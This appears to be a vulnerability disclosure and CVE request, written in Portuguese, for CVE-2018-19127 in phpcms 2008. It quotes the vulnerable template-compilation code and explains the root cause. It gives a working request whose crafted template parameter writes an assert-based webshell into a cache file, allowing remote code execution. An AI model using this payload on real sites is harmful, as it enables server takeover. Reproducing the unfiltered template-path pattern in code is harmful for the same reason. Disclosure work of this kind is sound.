
Prova de conceito de exploit para CVE-2018-19127 no phpcms 2008, demonstrando execução remota de código por meio de parâmetro de template manipulado que leva ao upload de webshell.
Recentemente, encontramos uma vulnerabilidade no /type.php do código-fonte do phpcms 2008. Quando atacantes enviam requisições maliciosas como "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss", conteúdo malicioso (neste caso "@unlink(FILE);assert($_POST[1]);") será gravado no arquivo de cache (neste caso "/cache_template/rss.tpl.php") no site com phpcms 2008.
Existe o seguinte código em /type.php:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
E a função template() é definida em /include/global.func.php com o seguinte código:
template_compile($module, $template, $istag);
Em seguida, ela chama template_compile(), que é definida em /include/template.func.php da seguinte forma:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
No payload de ataque, $template é definido como "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss".
Portanto, o caminho completo passado para file_put_contents() agora é "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php", que será interpretado como "data/cache_template/rss.tpl.php" pelo php. E o conteúdo "@unlink(FILE);assert($_POST[1]);" será gravado nesse arquivo, permitindo que o atacante use esse arquivo como webshell para executar código arbitrário.
A causa raiz do problema é que a variável $template não é filtrada antes de ser usada como parte do caminho do arquivo e do conteúdo do arquivo.
Entramos em contato com o fornecedor do phpcms através do método disponível em seu site oficial, mas o telefone não está acessível e a mensagem não obteve resposta. O phpcms 2008 não é a versão mais recente do phpcms, mas muitos usuários ainda utilizam essa versão. A vulnerabilidade que encontramos nunca foi descoberta ou recebeu CVE. Por favor, atribua um CVE-id à vulnerabilidade para que possamos alertar os usuários sobre ela.